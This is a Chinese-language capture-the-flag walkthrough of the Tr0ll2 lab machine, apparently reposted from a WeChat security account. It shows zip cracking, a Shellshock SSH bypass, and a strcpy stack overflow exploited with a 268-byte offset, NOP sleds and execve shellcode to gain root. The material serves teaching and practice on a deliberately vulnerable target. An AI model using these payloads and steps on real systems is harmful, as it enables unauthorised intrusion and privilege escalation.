~ 不经冬寒,不知春暖 ~
本次靶机为Tr0ll,c语言中strcpy函数的缓冲区溢出 主机发现,80探测
端口syn扫描,没有啥利用信息了
和上一关一样,使用ftp匿名登录试试,失败
目录扫描
访问robots.txt
noob,keep_trying,dont_bother,ok_this_is_it
都是这个母老虎
源码What did you really think to find here? Try Harder!,这几个母老虎的源码都是这个提示
返回主页,查看源码
登录失败
普通ftp用户不行,那就换作者的Tr0ll,账号密码都是Tr0ll
目录枚举,下载下来
尝试各种方法后,也找不到这个密码
那么只剩下一个方法了,从这两个图片入手
下载就行
这里下载的是这张图片
这张图片啥也没有
仔细分析图片的路径就能清楚了
然后根据robots的路径,找到如下图片
http://192.168.111.191/dont_bother/cat_the_troll.jpg
最终找到一个消息
Look Deep within y0ur_self for the answer(从 y0ur_self 处寻找答案),回到网页
泄露了一个密码字典
爆破(apt install fcrackzip)
失败的,就不等了
看样子是base64的一个编码,我们去解码一下
用base -d解码这个文件,并重定向到pass.txt中
然后再爆破,找到了zip的密码
ItCantReallyBeThisEasyRightLOL
一个ssh密匙,RSA
有了密匙,就可以登录服务器了,不支持互相签名(就是不让你登录)
提示了sign_and_send_pubkey: no mutual signature supported,表示SSH连接时,客户端和服务器之间无法就公钥认证使用的签名算法达成一致。此时我们要加上一个 -o 参数
ssh -i noob -o "PubkeyAcceptedKeyTypes=ssh-rsa" noob@192.168.111.191
不让登录,平时的利用方式就没有了,这里有一个shellshock env环境变量绕过ssh的漏洞
Shellshock,又称Bashdoor,是Unix中广泛使用的BashShell中的一个安全漏洞,首次于2014年9月24日公开。shellshock Bash漏洞利用CVE-2014-6271被利用!
关键字Shellshock,Remote(远程)因为我们有了私匙,只能进行远程的漏洞利用
第一个payload,这是一个正反向连接的payload,看到一个SSH-2.0,,,,,目前收集到的信息,大概率不是这个
搜第二个,msf的脚本
貌似是可以执行命令的
这时候可以利用ssh执行命令测试
成功了,内网信息收集,低版本的系统
筛选出了这个结果
使用方法
我们的靶机,一个23,一个29,很明显,不适用
已经替你们试过了
查找指定用户的文件,也没有利用方式
回家的路
SUID
suid提权一个个找呗(啥利用方式也没有)
有这些东西
切换根目录
看到三个门
第一个门,自动重启了。。。。。
两分钟的困难模式,就是不让我输入命令了,把我给锁了两分钟。。。。
查看信息,三个门都是root的文件
这里要用到一个工具GDB,全名叫做(GNU Debugger)是一个强大的开源调试器,主要用于调试编写在 C、C++、Fortran 等编程语言中的程序。
显示给定函数(main)的反汇编代码,main函数一般是一个程序中的主函数
disas main
door3
door2
door1
发现了第二个door可能存在缓冲区溢出的漏洞,strcpy 函数详细
这里我们要用到msf自带的插件了,生成1024个字符(也可以不是1024,500,100都可以),用于测试程序是否存在缓冲区溢出漏洞
cd /usr/share/metasploit-framework/tools/exploit
./pattern_create.rb -l 1024
在gdb中执行r00t文件,我们可以看到缓冲区溢出在 0x6a413969
这个位置
run 你生成的1024个字符
白小羽
Program received signal SIGSEGV, Segmentation fault. 程序接收到SIGSEGV信号,出现了分段故障,存在漏洞
使用msf的pattern_offset.rb反查 6a413969 对应上面的字符中的偏移量,为268
查找ESP栈的溢出地址,有了偏移量,就可以知道栈空间大小占据空间位置,接下来就要找跳板地址ESP,就可以跳到恶意代码shellcode的位置
白小羽
跳板地址:攻击者会在溢出数据后添加返回地址(即跳板地址),希望程序在执行到这条返回指令时能跳转到覆盖的恶意代码位置,从而执行攻击者的代码。
print 写入 268 个A和4个B
问:为什么是 4 个 B 而不是 2 个或 6 个?
白小羽
因为返回地址在 x86 上通常是 4 字节,使用 4 个字符(B)正好填满这一字节,每个 B 对应一个字节。
如果只使用 2 个 B(即 2 字节),返回地址将没有被完全覆盖。
而使用6个,会多于所需的字节数,但仍会覆盖返回地址。不过,这样的做法没有必要,因为多余的 B 不会提供任何额外的好处,只是冗余。
r $(python -c 'print "A"*268 + "B"*4') # 在GDB调试工具中 r表示启动调试当前程序
info r # 分析程序调试过程中的状态,在检查程序崩溃、调试函数调用及访问变量时,经常使用,前面已经有一个错误Program received signal SIGSEGV, Segmentation fault.,所以可以直接使用info r查看寄存器状态
起始的 esp 内容
在生成的字符后面再添加几个字符,执行以后看一下缓冲区溢出的 esp 内容
返回了一个新的地址
结论:我们要构造268个字符偏移量,将esp位置放在268个字符之后,这样esp位置就存在了返回的栈里,并在esp字符之后加入shellcode,这样完成了对缓冲区溢出的利用。
python代码将 0xbffffb80
起始的esp地址转化为十六进制字节序列的形式
address = 0xbffffb80
byte_sequence = address.to_bytes(4, byteorder='little')
hex_representation = ''.join(f'\x{byte:02x}' for byte in byte_sequence)
print(hex_representation) # x80xfbxffxbf
查看内核信息
x86系统
如果输出是 x86_64
,则表示你在使用 64 位系统(x64)。
如果输出是 i686
或 i386
,则表示你在使用 32 位系统(x86)。
Shell-Storm 搜索关键字获取shellcode,x86 - execve
https://shell-storm.org/shellcode/index.html
白小羽
execve:表示可执行文件的意思
然后我们需要的是shellcode,所以关键字就是,execve、x86、shellcode,就能定位到这个,中间的哪个表示需要执行的命令也就是获取一个shell
这下就能组成一个payload了
./r00t $(python -c 'print "A"*偏移量 + "esp起始地址" + "nop sled"*20 + "shellcode"')
./r00t $(python -c 'print "A"*268 + "x80xfbxffxbf" + "x90"*20 + "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"')
白小羽
nop sled 是一种可以破解栈随机化的缓冲区溢出攻击方式
栈随机化指运行时栈的起始地址为随机的,所以我们存放shellcode的esp的地址也会发生对应的改变
在shellcode前注入很长的 nop(x90) 指令 (无操作,仅使程序计数器加一)序列,
程序计数器逐步加一,直到到达攻击代码的存在的地址
提权成功
另外这个esp起始地址一定是要固定不变的吗?
我们把他修改为返回后的esp地址也就是0xbffffb50
,之前是0xbffffb80
,上python代码(这个脚本可以保存好,经常要用)
address = 0xbffffb80
byte_sequence = address.to_bytes(4, byteorder='little')
hex_representation = ''.join(f'\x{byte:02x}' for byte in byte_sequence)
print(hex_representation) # x50xfbxffxbf
而我修改了这个nop sled
数量为400个,照样也是可以提权的
./r00t $(python -c 'print "A"*偏移量 + "esp其他地址" + "nop sled"*400 + "shellcode"')
./r00t $(python -c 'print "A"*268 + "x50xfbxffxbf" + "x90"*400 + "xbax19xb3xb8x79xdbxdexd9x74x24xf4x5dx29xc9xb1x0bx31x55x15x83xedxfcx03x55x11xe2xecxd9xb3x21x97x4cxa2xb9x8ax13xa3xddxbcxfcxc0x49x3cx6bx08xe8x55x05xdfx0fxf7x31xd7xcfxf7xc1xc7xadx9exafx38x41x08x30x10xf6x41xd1x53x78"')
这个案例就证明只要nop sled
枚举的地址足够多,成功几率还是很大的
往期推荐
原文始发于微信公众号(泷羽Sec):c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论